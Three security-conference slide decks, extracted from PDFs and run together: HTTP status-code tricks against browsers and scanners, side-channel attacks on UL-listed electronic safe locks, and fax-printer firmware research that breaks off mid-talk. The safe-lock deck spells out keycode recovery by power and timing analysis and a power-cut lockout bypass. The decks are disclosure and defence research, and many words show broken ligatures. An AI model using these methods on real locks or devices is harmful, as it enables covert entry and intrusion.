auto-­‐prepend-­‐file  =  /full/path §  Limited  by  web-­‐server  (apache) #  set  response  code Header($_server[“SERVER_PROTOCOL”].  ”  $status_code”); §  Teseng  browsers  automaecally §  Created  PHP  file  to  set  status  code §  -­‐  h]p://c22.cc/POC/respcode.php?code=XXX BROWSERS …  AND  THEIR  STATUS  CODE  HABITS #3.2 Miss Browsers  handle most  things  just  like they  handle  a 200  OK? YEP… MOSTLY §  HTML  Responses §  Almost  all  response  codes  are  rendered by  the  browser  correctly §  iFrames §  Some  special  cases  for  IE,  but  other browsers  handle  this  the  same  as  HTML §  JavaScript/CSS §  Limited  accepted  status  codes §  Limited  3XX  support §  Chrome  is  the  excepeon  here §  No  support  for  4XX/5XX  codes So  we  know what  browsers interpret differently What  do browsers  have in  common? §  1XX  code  handling §  Retries §  Confusion §  Chrome  /  IE6  try  to  download  the  page! §  Fun  on  Android…  (never  ending  download) §  Timeouts §  Eventually §  204  No  Content §  Um,  no  content! §  304  Not  Modified §  Again,  no  content  returned WHAT  ABOUT HEADERS? #3.3 Just  because  the  RFC  says a  specific  status  code must  have  an  associated header… …doesn’t  mean it  HAS  to §  Redireceon  codes  (301-­‐304,  307) §  No  Locaeon  header,  no  redirect §  401  Unauthorized §  No  WWW-­‐Authenecate  header,  no authenecaeon  prompt §  407  Proxy  Authenecaeon  Required §  No  Proxy-­‐Authenecate  header,  no  prompt Just  because  the  RFC  says a  specific  status  code shouldn’t  have  an associated  header… …doesn’t  mean it  can’t §  300  Muleple  Choices  w/  Locaeon  Header §  Firefox  /  IE6  follows  the  redirect §  Chrome  doesn’t §  More  research  needed  in  this  direceon §  Most  are  unintereseng EACH  BROWSER HANDLES  THINGS  A LITTLE  DIFFERENTLY I  WONDER  WHAT WE  CAN  DO WITH  THAT! #4 ] [  GOALS §  Each  browser  handles  things  differently §  Use  known  condieons §  Handled  codes §  Unhandled  codes §  Browser  weirdness BROWSER FINGERPRINTING #4.1 §  Doesn’t  load  JavaScript  returned  with  a  300 ‘Muleple  Choices’  status  code §  Other  browsers  tested  DO  (IE/Chrome) §  Request  JavaScript  from  server §  Response  Status:  300  Muleple  Choices §  If  JavaScript  doesn’t  run  in  the  browser §  Firefox Firefox §  Loads  JavaScript  returned  with  a  307 ‘Temporary  Redirect’  status  code §  Other  browsers  tested  DON’T  (IE/FF) §  Request  JavaScript  from  server §  Response  Status:  307  Temporary  Redirect §  If  JavaScript  runs  in  the  browser §  Chrome Chrome §  Loads  JavaScript  returned  with  a  205  ‘Reset Content’  status  code §  Other  browsers  tested  DON’T  (FF/Chrome) §  Request  JavaScript  from  server §  Response  Status:  205  Reset  Content §  If  JavaScript  runs  in  the  browser §  Internet  Explorer Internet  Explorer §  Other  opeons  to  fingerprint  browsers §  300  Redirect  (Chrome) §  305  /  306  JavaScript  (Firefox) §  400  iFrame  (Internet  Explorer) §  … BROWSER FINGERPRINTING DEMO USER-­‐AGENTS CAN  BE SPOOFED BROWSER TRAITS  CAN’T PROXY DETECTION #4.2 §  Chrome  handles  proxy  configuraeon differently  to  other  browsers §  407  status  code  isn’t  rendered §  Unless  an  HTTP  proxy  is  set! §  Allows  us  to  detect  if  an  HTTP  proxy  is  set §  Just  not  which  proxy §  Can  only  detect  HTTP  proxies  ;( Chrome  Proxy  Deteceon §  Request  page  from  server §  Response  Status:  407  Proxy  Authenecaeon §  w/o  Proxy-­‐Authenecate  header §  If  Chrome  responds  HTTP  proxy  is  set Chrome  Proxy  Deteceon §  Privoxy  3.0.20  (CVE-­‐2013-­‐2503) §  407  Proxy  Authenecaeon  Required §  w/  Proxy-­‐Authenecate  header §  User  prompted  for  user/pass §  Prompt  appears  to  be  from  Privoxy §  Privoxy  passes  user/pass  to  remote  site §  Profit??? Side-­‐Effect:  Owning  Proxies §  Not  just  Privoxy  that’s  effected §  Any  transparent  proxy §  e.g.  Burp,  ZAP,  … §  Not  really  a  vuln  for  most §  Works  as  designed! Side-­‐Effect:  Owning  Proxies #5 ] [ BRINGINGITALL TO GETHER What  we  have §  Status  codes  all  browsers  treat  as  content §  Status  codes  all  browsers  can’t  handle §  1XX,  etc.. §  Lots  of  browser  quirks What  can  we  do §  F*ck  with  things §  Screw  with  scanner  monkeys §  Make  RFC  lovers  cry  into  their  beer §  Break  things  in  general Let’s  try  to… §  Use  what  we’ve  discovered  to… §  Break  spidering  tools §  Cause  false  posieves  /  negaeves §  Slow  down  a]ackers §  The  fun  way! §  Blocking  successful  exploitaeon BREAKING SPIDERS #5.1 Simplisec  view of  spiders §  Access  target  URL §  Read  links  /  funceons §  Test  them  out §  If  true:  conenue §  What  is  TRUE? §  What  happens  if: §  Every  response  is §  200 §  404 §  500 200  OK §  IF  200  ==  True: §  Problems! §  Never-­‐ending  spider 404  Not  Found §  IF  404  ==  False: §  What  website? 500  Internal  Server  Error §  Skipfish  !=  happy  fish False Posieves  / Negaeves #5.2 §  Most  scanners  use  status  codes §  At  least  to  some  extent §  Inieal  match  (prior  to  more  costly  regex) §  Speed  up  deteceon §  Easy  solueon §  What  happens  if: §  Every  response  is §  200 §  404 §  500 §  raNd0M* *  Using  codes  that  are  accepted  by  all  browsers  as  content Vulnerability  Baseline §  w3af §  Informaeon  Points  à  79 §  Vulnerabiliees  à  65 §  Shells  à  0  shells  L §  Scan  eme  à  1h37m23s Every  response  200  OK §  No  change  in  discoveries §  All  points  discovered  -­‐  per  baseline §  79  Informaeon  Points §  65  Vulnerabiliees §  0  Shells §  Scan  eme  à  9h56m55s §  Lots  more  to  check  ;) Every  response  404  Not  Found §  Less  to  scan  ==  Less  to  find §  False  negaeves §  44  Informaeon  Points  (-­‐35) §  37  Vulnerabiliees  (-­‐28) §  Scan  eme  à  7m13s §  Much  quicker  scan §  Less  paths  traversed Every  response  500 §  Server  Error  ==  OMG  VULN! §  False  posieves+++ §  9540  Informaeon  points  (+9461) §  9526  Vulnerabiliees  (+9461) Random  Status  Codes §  Muleple  test  runs §  All  tests  produced  False  posieves++ §  avg.  619  Informaeon  points  (+540) §  avg.  550  Vulnerabiliees  (+485) §  Avg.  scan  eme  à  11m37s §  Ooen  much  quicker  scans §  Lots  of  variaeon  in  scan  emes Random  Status  Codes §  Skipfish  +  $random_status  =  chaos §  False  Posieves  +  False  Negaeves §  Scan  jobs  killed  (due  to  lack  of  scanner  resources) §  Scan  emes §  1st  scan  eme  à  10h3m35s §  2nd  scan  eme  à  0h0m4s §  3rd  scan  eme  à  16h47m41s Slowing a]ackers down! #5.3 What  does your  WAF really  do? §  OMG  A]ack §  Block  /  Return  error §  403,500,  … §  Profit??? Why? Remember  that  list of  status  codes browsers  don’t handle  well? Yeah  well,  scanners don’t  usually  handle them  well  either! Especially  the 1XX  codes §  Remember  LaBrea  tarpit? §  Tim  Liston  2001  * §  Designed  to  slow  spread  of  Code  Red §  Slows  down  scans  /  a]ackers *  h]p://labrea.sourceforge.net How  about  an HTTP  Tarpit! HTTP  Tarpit  Scenario §  WAF  detects  scan  /  a]ack §  Adds  source  IP  to  “naughty”  list §  Rewrite  all  responses  from  the  server §  100|101|102  status  codes  only  (random) §  204|304  might  also  be  useful  (no  content) Let’s  do some science!* *  Science  not  included vs.  the  HTTP  TARPIT NIKTO Baseline HTTP  Tarpit Scan  eme 2m  18s Findings 18 14h  33m  2s 10 vs.  the  HTTP  TARPIT W3AF Baseline HTTP  Tarpit Scan  eme 1h  37m  23s Findings 65 18m  10s 0 vs.  the  HTTP  TARPIT SKIPFISH Baseline HTTP  Tarpit Scan  eme 18m  10s Findings Low:  2519 Med:  2522 High:  12 Low: Med: High: 05s 0 0 3 vs.  the  HTTP  TARPIT ACUNETIX Baseline HTTP  Tarpit Scan  eme 1h  19m Findings Info:  1104 Low:  30 Med:  32 High:  24 Info: Low: Med: High: 33m 3 3 1 0 HTTP  Tarpit §  HTTP  Tarpit  Results  * §  Slow  down  scans  (nikto) §  340x  as  long §  Other  give  up  quicker  ;) §  Unreliable  /  aborted  scans §  Up  to  100%  less  findings *  Not  scienefically  sound  ;) Blocking successful exploitae0n #5.4 We’ve  made  it hard  to  find  the vulnerabiliees We’ve  made  it Ome  consuming for  a]ackers Now  let’s  stop  the sk1dd13s  using Metasploit  to  pop $hells Q:  How  ooen  does  Metasploit  reference status  codes?  rgrep  -­‐E  'res[p|ponse]?\.code'  * à  958  * *  Not  scienefically  sound  ;) rgrep  -­‐E  'res[p|ponse]?\.code'  * Lots  of dependency  on status  codes* *  yep,  even  the  stuff  I  wrote  if  (res.code  <  200  or  res.code  >=  300)  case  res.code  when  401  print_warning("Warning:  The  web  site  asked  for  authentication:  #{res.headers  ['WWW-­‐Authenticate']  ||  res.headers  ['Authentication']}")  end  fail_with(Exploit::Failure::Unknown,  "Upload  failed  on  #{path_tmp}  [#{res.code}  #{res.message}]")  end No  match, No  shell* *  exploit  dependent #6 ] [  RE VIEW §  Using  status  codes  to  our  benefit  is  fun §  …  and  useful! §  Browsers  can  be  quirky §  Scanners  /  a]ack  toolkits  are  someemes set  in  their  ways §  Take  the  easy  route §  Easy  to  fool §  WAFs  need  to  get  more  offensive  about their  defense §  More  than  just  blocking  a  request §  Even  if  you  use  a  snazzy  message §  Hacking  back  is  bad §  Slowing  down  known  a]acks  is  good §  Make  life  harder  for  skiddies  is  pricele$$ §  Current  tools  are  much  the  same  as  APT §  APT  (Adequate  Persistent  Threat) §  Only  as  advanced  as  they  NEED  to  be …because  screwing with  sk1dd13s is  fun! Implementaeon #6.1 §  Ge]o  implementaeon §  PHP  (the  lowest  common  denominator) §  auto-­‐prepend-­‐file §  Limited  to  resources  PHP  handles §  MITMdump §  MITMproxy  ==  memory  hog §  Reverse  proxy  mode §  Usable  implementaeon §  Nginx  as  reverse  proxy §  Requires:  ngx_lua §  ngx.status  =  XXX §  Bugs  in  non-­‐git  version §  203,  305,  306,  414,  505,  506  return  nil h]ps://github.com/ChrisJohnRiley/Random_Code/blob/master/nginx/nginx.conf §  Ease  adopeon §  Implement  into  mod-­‐security §  Not  a  simple  task §  Already  been  discussed  many  emes §  Help  wanted  ;) Countering this  research #6.2 §  Less  reliance  on  status  codes §  More  reliance  on  content  /  headers §  Pros §  Be]er  matching  /  intelligence §  Cons §  Slower?  (regex  matching) §  More  resource  intensive Queseons? CODE  /  SCRIPTS  AVAILABLE HTTP://GITHUB.COM/CHRISJOHNRILEY/RANDOM_CODE Thanks  for  coming h]p://c22.cc @ChrisJohnRiley  [email protected]
pdf
DEF CON 24 Side-channel attacks on high- security electronic safe locks [email protected] Agenda • Background on electronic safe locks • Cracking S&G 6120 safe lock – Recovering keycode using power analysis • Cracking S&G Titan PivotBolt safe lock – Recovering keycode using timing attack – Defeating incorrect-code lockout Background – Electronic safe locks Image: ellenm1 on Flickr / CC BY-NC Background – Electronic safe locks • Safe lock certification – UL Type 1 High-security electronic lock – Many others • Out of scope: cheap, non-certified locks – Many of these can be easily brute-forced – Some can be “spiked” (bolt motor driven directly) – Some can be bypassed mechanically (see, e.g., [2] or [3]) Agenda • Background on electronic safe locks • Cracking S&G 6120 safe lock – Recovering keycode using power analysis • Cracking S&G Titan PivotBolt safe lock – Recovering keycode using timing attack – Defeating incorrect-code lockout Sargent & Greenleaf 6120-332 6120 – System model MCU Outside of safe Battery Keypad EEPROM Bolt motor Inside of safe Lock Steel safe door ¼” hole for wires Buzzer 6120 – Design • Keycodes stored in the clear in EEPROM • MCU reads/writes EEPROM via 3-wire serial – “Microwire” interface (similar to SPI) • Nice and slow – EEPROM to MCU ~1.5 kbit/s – Hundreds of milliseconds to read all data • Lock reads all keycodes out of EEPROM on every attempt 6120 – Vulnerability • Susceptible to power analysis • Keycode bit values change amount of current consumed during EEPROM read-out • Translate current changes into key values • Enter key values on keypad • Zero modification required • Zero evidence of tampering left behind – Covert entry 6120 – Circuit model Data line volts 100 k Data line Volts across R1 Current through R1 R1 1 0 0 volts 5 volts 50 A 0 A Higher current consumption means the bit being read from EEPROM is a 0, and a lower current means the bit is 1 Vcc Bit value 5 volts 0 volts EEPROM Amplifier Oscilloscope Sense Resistor Battery MCU 6120 – Full scope trace • 1 nibble per keycode digit • Only lower byte in each EEPROM word is used • Upper byte always 0x00 6120 – Demo Agenda • Background on electronic safe locks • Cracking S&G 6120 safe lock – Recovering keycode using power analysis • Cracking S&G Titan PivotBolt safe lock – Recovering keycode using timing attack – Defeating incorrect-code lockout S&G Titan PivotBolt Titan – Software design • Keycodes stored in EEPROM within MCU • Supports 10 keycodes • 10-minute lockout after 5 incorrect codes in a row – Persists across power removal – Failed-attempt count stored in EEPROM Titan – Timing attack • Entire six-digit keypad sequence is captured before starting comparison to key from EEPROM • Pseudocode of lock FW keycode comparison: bool check_code(int enteredCode[6], int actualCode[6]) { for (int digit = 0; digit < 6; digit++) if (enteredCode[digit] != actualCode[digit]) return false; return true; } Each iteration takes another 28 s Titan – Timing attack Current Time Suppose that the actual code is 908437 Code tried Current trace 123456 Current Time 923456 Current Time 913456 Current Time 903456 Correct run length 0 1 1 2 Wrong Wrong Wrong Wrong Titan – Timing attack • Current consumption markers for timing delta Titan – Timing attack • The more digits you have correct, the more delayed the current-consumption rise Titan – Timing attack • Attack algorithm: – Try keycode starting with 0 • Remaining five key digits don’t-care – Watch for timing signs showing trial digit match/mismatch – If mismatch, try again with keycode starting with 1 • Retry with increasingly high digit values (2, 3, 4, etc.) until “match” signature encountered (i.e., 28 s longer delay) – Once first digit in keycode discovered, repeat for second, third, fourth, fifth digit – Sixth digit is a special case (brute force the 10 possibilities) • Reduces worst-case attempt count from 1,000,000 to as few as 60 Titan – Lockout defeat • Normally, 5 incorrect codes in a row leads to a 10-minute penalty lockout period – New attempts during lockout are refused – Penalty goes back to 10 minutes if power removed • Incorrect code count tracked in EEPROM • One of two goals: – Prevent increment of failure counter, or: – Be able to reset failure counter Titan – EEPROM write timeline EEPROM erase of destination block begins t≈0 EEPROM write begins t=0 Old data no longer readable; values now all return 0x00 t=500 s Earliest time that MCU will consider write “complete” t=3.0 ms New data starts to be readable t=2.5 ms Time Initial conditions: MCU Vdd = 5v MCU clock = 2 MHz Destination in EEPROM has existing data (i.e., not 0x00) How EEPROM in STM8 behaves after starting a byte-size write Latest time that MCU will consider write “complete” t=6.0 ms Titan – Lockout defeat • Measured EEPROM behavior when power cut – Block already erased • 500 s (or less) to commit new data – Existing data in block • About 500 s from start of cycle until old data no longer readable and bytes return 0x00 • About 3 ms from start of cycle until new data becomes persistent Titan – Normal wrong code User finishes entering incorrect keycode Debounce complete; FW starts comparing entered keycode to stored keycode FW finds mismatch between entered keycode and stored keycode EEPROM write starts for “failed attempt” counter EEPROM block erased; failed-attempt count at 0x00 EEPROM write of new non-zero failed attempt count complete “Wrong code” buzzer sounds Time Titan – Lockout prevented User finishes entering incorrect keycode Debounce complete; FW starts comparing entered keycode to stored keycode FW finds mismatch between entered keycode and stored keycode EEPROM write starts for “failed attempt” counter EEPROM block erased; failed-attempt count at 0x00 Time Remove battery power MCU drops below minimum voltage before EEPROM write completes Invalid-attempt count left at 0x00 (default EEPROM erased value) Support hardware – Custom PCB • Microammeter – Low-side current sense for simplicity – Gain: 40 dB – Low-pass filter (second-order, fc=25 kHz) • Power control – Quickly apply or remove power to/from lock • Keypress simulator – Use DAC and buffer to provide voltages that simulate keys being pressed on the keypad Titan – Automated code recovery • Runs on external MCU (STM32L476G) • Uses functionality from the custom PCB • Sends keycodes in sequence during search • Measures time deltas to infer correct values • Modulates lock power to avoid lockout • Outputs results Titan – Demo Conclusions • Would I still buy/use an electronic safe lock? – Yes! (But probably not the 6120) • Burglars aren’t going to bother with this – They’ll use the saw or crowbar from your garage Image: HomeSpotHQ on Flickr / CC BY Feel free to email me: [email protected] Backup slides Background – Electronic safe locks • Opening a lock – User enters code on keypad – Microcontroller (MCU) checks code – MCU drives motor to free bolt if correct Background – Electronic safe locks • All logic resides inside safe • Only keypad and battery are outside safe • Connection is via wires through a small hole in the door metal • Hardened steel plate in lock • No direct access to the lock PCB possible Background – Side channel attack • Side channel attack – Gaining knowledge about the state of a device through unintentional information leakage • Attacks used in this talk – Power analysis – Timing attack • And, a related concept – Forcing a system into a particular state using unexpected inputs (in this case, removing power) S&G 6120 • Sargent & Greenleaf 6120-332 safe lock – UL listed Type 1 high-security electronic lock – Still being produced (as of at least late 2015) – Designed and certified ca. 1994 – ST62T25C microcontroller (ST) – 93LC46B serial EEPROM (Microchip) – 9v alkaline battery located in external keypad – S&G is a large, well-respected lock manufacturer 6120 – MCU 6120 – EEPROM 6120 – Keycode storage Suppose that the actual code is 908437 EEPROM address Keycode digits Stored word value 0x00 0x01 0x02 0x03 Start of next keycode Keycode 1 0x 0 0 9 0 0x 0 0 8 4 0x 0 0 3 7 9, 0 8, 4 3, 7 Keycode 2 . . . S&G 6120 (and Titan) Keypad Interior 6120 – Wires from keypad Line Description Battery Ground Keypress 9v nominal Complete circuits are good, right? 5v when idle, less depending on key being pressed There are four wires from the keypad to the lock inside the safe: Buzzer Hi-Z when idle, pulled to ground for buzzer/LED 6120 – Actual vs Power Zoomed • Yellow: Actual data line between MCU and EEPROM • Blue: Current into lock (2 A per mV) 6120 – Annotated trace • In this case, the keycode is “123456” 6120 – Demo circuit U1A Oscilloscope Lock 10 9v Battery + - 2.2 k 2.2 k 220 + - Vcc Vcc U1B 220 220 2.2 k Current sense 21 dB amp 20 dB amp 6120 – Demo • Only basic equipment required to read code – Cheap oscilloscope (e.g., the $60 DDS120) – Seven resistors (precision not critical) – Basic op-amp (e.g., the 10 MHz GBW LM6132) – Breadboard/wires/etc. 6120 – Notes • Final bit in each word (i.e., LSB for every even keycode digit) is shifted lower in amplitude by about 20 A regardless of value • Reading first three words is enough for master keycode • Remaining words are for additional keycodes • Failure count written after all codes read out 6120 – Lessons • Don’t store data in the clear – I mean, good lord… 6120 – Lessons • Store critical data on-chip if possible – Harder to probe when analyzing lock – Less EM radiation – Faster access – Possibly smaller current swing 6120 – Lessons • Use a fast serial bus – Simple power analysis is harder at higher speeds due to capacitive and inductive effects – Higher speeds could make attack inaccessible to the simple tools shown in the demo Titan – Hardware • Motor-driven acme screw to unblock bolt • STM8S105K6 MCU runs at 2 MHz • Keypad identical to one with S&G 6120 – Resistor ladder – 9v alkaline battery • Designed c.a. 2010, currently in production • UL listed Type 1 high-security electronic lock Titan – MCU Titan – Keypad emulation • Keypad is resistor ladder hooked to voltage divider with a 20.0 k source leg – e.g., “3” is 7.68 k • Simulate by sending the voltage that the divider would produce for a given key – e.g., 7.68 k is 1.40 V • Lock tolerates voltage error of ±0.10 V • Debounce time ~30 ms • Key interval ~120 ms Titan – Timing attack Current Time Current Time Digit wrong Digit correct t=0 Titan – Timing attack • Power analysis for timing markers – Watch current drawn • Current consumption jumps about 29.6 ms before keycode comparison completes – Use this rise as a reference point for timing – Reasonably stable time reference (jitter about ±10 s) • Keycode comparison takes about 200-300 s – Depends on how many digits before mismatch • At end of keycode comparison, current rises another 275 A – Determine success/failure based on delay of this rise relative to reference point ≈29.6 ms earlier – 28 s more delay per additional correct digit Titan – Timing attack • It’s like in the movies where they get one digit of the electronic lock’s code at a time – …and the others are all changing rapidly Image: The Thomas Crown Affair (1999) Titan – Timing attack • Noise – Jitter in ADC sampling times – Jitter in lock clock – Noise from the ADC itself – Noise of unknown origin in current consumption – Timing is very tight and amplitude difference between noise and signal is very small • Oversample – Sample each time delay for each digit multiple times – 10x oversampling seems fine – Adds significantly to recovery time – Will work with lower oversampling multiplier but less reliable • Detect errors – If average times aren’t the expected amount longer (28 s) during testing for the next digit, the previous digit’s value is probably wrong, so go back – If the time for a digit is way too early or too late, retry it Titan – Timing attack • Entire six-digit keypad sequence is captured before starting comparison • Entered code is compared one digit at a time to the keycode stored in EEPROM • If digit in entered keycode sequence doesn’t match, exit loop immediately Titan – Lockout defeat • Goal is to get Vdd below STM8 brownout voltage (2.7v) before the EEPROM write has completed • If STM8 is running (not halted), and the battery voltage (Vbatt) is 9.0v, roughly 2.7 ms elapse between floating Vbatt and Vdd going below the STM8 brownout voltage • Can be reduced to 1.0 ms if Vbatt starts at 4.3v and a key on keypad is held down (to increase current drain) • To defeat the FW battery check, voltage must be reduced only after the STM8 has been woken up Titan – Lockout defeat • Failure count stored in EEPROM • EEPROM writes on STM8 are asynchronous – 500 s to complete if EEPROM block already blank – 3 ms to complete if block has existing data – EEPROM writes become blocking if second write attempted before first finishes • If we can cut power to the STM8 after it has revealed if a digit in the keycode is valid but before the failure has been recorded… – …we get as many attempts as we want! Titan – Lockout defeat • Either: – Kill power before the erase-write cycle starts, or – Kill power after the erase part of the cycle starts but before the new value is written • Usually, erased values in EEPROM are 0xFF – Not in the STM8 – In the STM8, EEPROM erased value is 0x00 – Thus, erased value is a valid count: “zero failures” Titan – Automated code recovery • First five digits via timing attack • Sixth digit through brute force (10 attempts) – Try keycode ending with each possible value – Check if buzzer line indicates error beep sequence • Two long beeps = Wrong code • One short beep = Correct code – Every fourth attempt, try a known-wrong keycode and kill the power during the invalid-attempt count EEPROM update to reset the count to 0x00 – Go through all ten possibilities this way Titan – Lessons • Use constant-time comparisons – Would defend against timing attack Titan – Lessons • Assume failure first – Increment “failed attempt” counter before key comparison begins, not after – Then, clear “failed attempt” count only if the correct code was actually entered • However… – Don’t make the erased value of the EEPROM/flash a valid value for the counter Titan – Lessons • Run MCU clock faster – Less margin for timing attacks – Not a total solution, but could increase the difficulty of the attack – Be careful that a faster MCU doesn’t lead to other stronger signals Are there better locks? Yup! • FF-L-2740B federal specification – GSA-approved locks – For securing material classified up to Top Secret • Mandates significantly better design – Power source internal (no power analysis) – Resistance to various attacks for at least 20 man- hours – Approval revoked if design found vulnerable References [1] Gun safe analysis http://gunsafereviewsguy.com/ [2] “Safes and Containers: Insecurity Design Excellence” Tobias, Fiddler, and Bluzmanis. DEF CON 20 [3] “Safe to Armed in Seconds: A Study of Epic Fails of Popular Gun Safes” Deviant Ollam Cluebat Quartermaster. DEF CON 19 [4] “Hacking smart safes” Salazar and Petro. DEF CON 23 [5] DoD Lock Program http://www.navfac.navy.mil/navfac_worldwide/special ty_centers/exwc/products_and_services/capital_impro vements/dod_lock.html
pdf
Fax?! What The To: Date: Subject: Check Point Research DEFCON 26 Aug-12 2018 Received OK? WhoAreWe? Yaniv Balmas “This should theoretically work” Security Researcher Check Point Software Technologies @ynvb Eyal Itkin “That’s cool.” Security Researcher Check Point Software Technologies @eyalitkin 1860 Caselli Invents Machine Similar to Today’s FAX 1923 Enter the RadioFAX.
 Used by Navies 1966 XEROX Introduces the First Commercial FAX Machine 1980 Group III 
 ITU-T Fax Standards
 T.30, T.4, T.6 GammaFAX Brings Computers Into FAX Network 1985 1846 Alexaner Bain Sends
 An Image Over a Wire FAXHistory Quality Accessibility Reliability Authenticity ? BackToTheFuture BackToTheFuture BackToTheFuture BackToTheFuture BackToTheFuture BackToTheFuture WTF?! • Modern FAX is no longer a simple “FAX Machines” • The same old FAX technology is now wrapped inside newer technologies • ALL-IN-ONE printers are EVERYWHERE FaxToday The Security View ALL-IN-ONE Printers ALL-IN-ONE Printers FAX Attack ALL-IN-ONE Printers FAX Attack Challenge Accepted What is the Target? How to Obtain the Code? What is The OS? How Does FAX Even Work? How can we Debug it? Where to look for vulns? AndTheWinnerIs BreakingHW Flash ROM SRAMs (e.g Some More Memory) BreakingHW USB WiFi SRAM Electricity Main CPU FAX
 Modem Battery ShowMeYourFirmware! SERIAL
 DEBUG JTAG TooEasy? FirmwareUpgrade How do you upgrade a printer firmware?! You Print it! How do you upgrade a printer firmware?! You Print it! PrintingTheFirmware PrintingTheFirmware NULL Decoder TIFF Decoder Delta Raw Decoder WhenYou’reaHammer… Sections Loading Address Section Name Location in Binary IDon’tUnderstand … WhatISThis?! • Probably a compression algorithm • A very bad one … • Some mathematics Let'sTakeALook FF 20 72 66 63 75 72 73 69 EF 76 65 6C 79 AE E0 6E 6F 6E DF 70 6F 73 69 74 FE 30 20 73 F7 69 7A 65 0E 32 76 61 72 69 FF 61 62 6C 65 2D 6C 65 6E F7 67 74 68 AD 33 00 00 56 4C FF 6A 70 65 67 2E r e c u r s i v e l y n o n p o s i t s i z e v a r i a b l e - l e n g t h V L j p e g . FF 20 72 66 63 75 72 73 69 EF 76 65 6C 79 AE E0 6E 6F 6E DF 70 6F 73 69 74 FE 30 20 73 F7 69 7A 65 0E 32 76 61 72 69 FF 61 62 6C 65 2D 6C 65 6E F7 67 74 68 AD 33 00 00 56 4C FF 6A 70 65 67 2E r e c u r s i v e l y n o n p o s i t s i z e v a r i a b l e - l e n g t h V L j p e g . Let'sTakeALook FF EF AE E0 DF FE 30 F7 0E 32 FF F7 AD 33 FF APattern?! FF EF DF F7 FF F7 FF 8 Bytes 9 Bytes 9 Bytes 9 Bytes 8 Bytes 9 Bytes 8 Bytes APattern?! FF EF DF F7 FF F7 F 1 1 1 1 1 1 1 1 F 1 1 1 1 1 1 1 F E 1 1 1 1 1 1 1 1 1 1 1 1 F 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 0 0 0 D F 7 F F F 7 DifferentAngle F7 AD 33 Forward / Backward Pointer Dictionary Sliding Window ? ? ? ? TheMissingLink Softdisk TheMissingLink AD 33 1 0 1 0 1 1 0 1 0 0 1 1 0 0 1 1 A D 3 3 2771 3 Window Location Data
 Length A BCDABEF Input Text Sliding Window G Output Text MysterySolved A BCDABEF Input Text Sliding Window A G Output Text A MysterySolved A BCDABEF Input Text Sliding Window A B G Output Text A B MysterySolved A BCDABEF Input Text Sliding Window A B C G Output Text A B C MysterySolved A BCDABEF Input Text Sliding Window A B C D G Output Text A B C D MysterySolved A BCDABEF Input Text Sliding Window A B C D G Output Text A B C D MysterySolved A BCDABEF Input Text Sliding Window A B C D G Output Text A B C D MysterySolved A BCDABEF Input Text Sliding Window A B C D G Output Text A B C D 00 02 MysterySolved A BCDABEF Input Text Sliding Window A B C D E G Output Text A B C D E 00 02 MysterySolved A BCDABEF Input Text Sliding Window A B C D E F G Output Text A B C D E F 00 02 MysterySolved A BCDABEF Input Text Sliding Window A B C D E F G G Output Text A B C D E F G 00 02 MysterySolved A BCDABEF Input Text Output Text Sliding Window A A B B C C D D E E F F G G G 00 02 1 1 1 1 1 1 1 0 MysterySolved A BCDABEF Input Text Output Text Sliding Window A A B B C C D D E E F F G G G EF 00 02 MysterySolved ThePrintingBeast • 64,709 Functions • Most of the code not parsed by IDA • Indirect Calls, Dynamic Tables, BootLoader Functions ThreadX - ARM9/ Green Hills Treck (IP, TCP/UDP, DNS, HTTP, …) libpng 1.2.29 (2008) tTB, tHTML, … gSOAP 2.7 OpenSSL 1.0.1j (2014) Spidermonkey mDNSResponder 2 Staged Boot Loader tModem tFaxLog tT30 tPrintFax Common Libraries Tasks System n’ Stuff MakingSomeSense ThreadX - ARM9/ Green Hills Treck (IP, TCP/UDP, DNS, HTTP, …) libpng 1.2.29 (2008) tTB, tHTML, … gSOAP 2.7 OpenSSL 1.0.1j (2014) mDNSResponder 2 Staged Boot Loader tModem tFaxLog tT30 tPrintFax Common Libraries Tasks System n’ Stuff Spidermonkey MakingSomeSense JSOnAPrinter?! • JavaScript is used in a module called PAC. • PAC - Proxy Auto Configuration • Used by a URL linking to a JS file in DHCP settings • Top layer functionality was designed by HP FakeURL Yep… T30 • aka “ITU-T Recommendation T.30” • Procedures for document facsimile transmission in the general switched telephone network • Defined the “heavy lifting” procedures relevant for all fax sending functionality • Designed at 1985 • Last update at 2005 DynamicHell TheUndebuggable • How do we debug this hostile environment? • There are no native debugging facilities • We have no control over the execution flow • Hardware watch-dog is a serious problem LuckyBreak • Luck is a fundamental part of every research project • At July 19, SENRIO published an exploit dubbed “Devil’s Ivy” • CVE-2017-9765 - RCE in gSOAP 2.7 - 2.8.47 • And it seems our printer is vulnerable! Devil’sIvy DebuggingChallenges • Need to read/write memory • Need to Execute code • Create a network tunnel between debugger/debuggee DebuggingChallenges • We have control over execution flow • Need to load our own code • Bypass memory protection • Embed debugging stub into current firmware Scout • We created our own instruction based debugger • Called - ‘Scout’ • Supports x86, x64, ARM (ARM and Thumb mode) • Embedded mode for firmware • Linux kernel mode HowDoesAFAX? PHASE 1 Network
 Interaction PHASE 2 Probing/
 Ranging Equalizer
 and
 Echo Canceller Training PHASE 3 Training Phase PHASE 4 HowDoesAFAX? Caller ID PHASE A Sender Caps
 (DIS) Receiver Caps
 (DTC) PHASE B Tunnel HDLC End of page
 (EOP) Msg Confirm
 (MCF) PHASE D Data Transfer PHASE C HowDoesAFAX? PHASE A PHASE B PHASE C PHASE D Tunnel T.30 HDLC HowDoesAFAX? PHASE A PHASE B PHASE C PHASE D Tunnel FAX T.30 HDLC HowDoesAFAX? PHASE A PHASE B PHASE C PHASE D Tunnel TIFF
 Body TIFF
